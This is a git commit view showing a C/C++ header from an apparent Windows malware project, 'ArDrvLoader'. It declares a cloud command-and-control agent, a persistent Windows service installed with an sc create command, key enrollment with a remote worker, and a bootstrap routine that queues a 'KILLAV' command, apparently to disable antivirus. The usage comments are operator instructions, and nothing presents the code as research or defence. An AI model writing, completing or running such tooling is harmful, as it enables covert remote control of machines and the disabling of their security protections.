Init commit

This commit is contained in:
My Name
2026-11-03 20:45:39 -08:00
commit 26642f28a2
57 changed files with 15683 additions and 0 deletions
+20
View File
@@ -0,0 +1,20 @@
#pragma once
#include <windows.h>
// Cloud C2 mode. Call as:
// ArDrvLoader.exe -cloud [options] [agent] <url> <secret> [interval_ms]
int RunCloudAgent(int argc, wchar_t** argv);
// Windows service entry point. Install with:
// sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent"
int RunCloudService(int argc, wchar_t** argv);
// One-time enrollment: fetches this agent's own key from the worker and stores
// it next to the host tracking file.
// ArDrvLoader.exe -enroll --url <worker> --agent <id> --enroll-secret <token>
int RunEnroll(int argc, wchar_t** argv);
// Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV.
// ArDrvLoader.exe -bootstrap --url <worker> --operator-key <key> [--secret <s>] [--agent <id>]
int RunBootstrap(int argc, wchar_t** argv);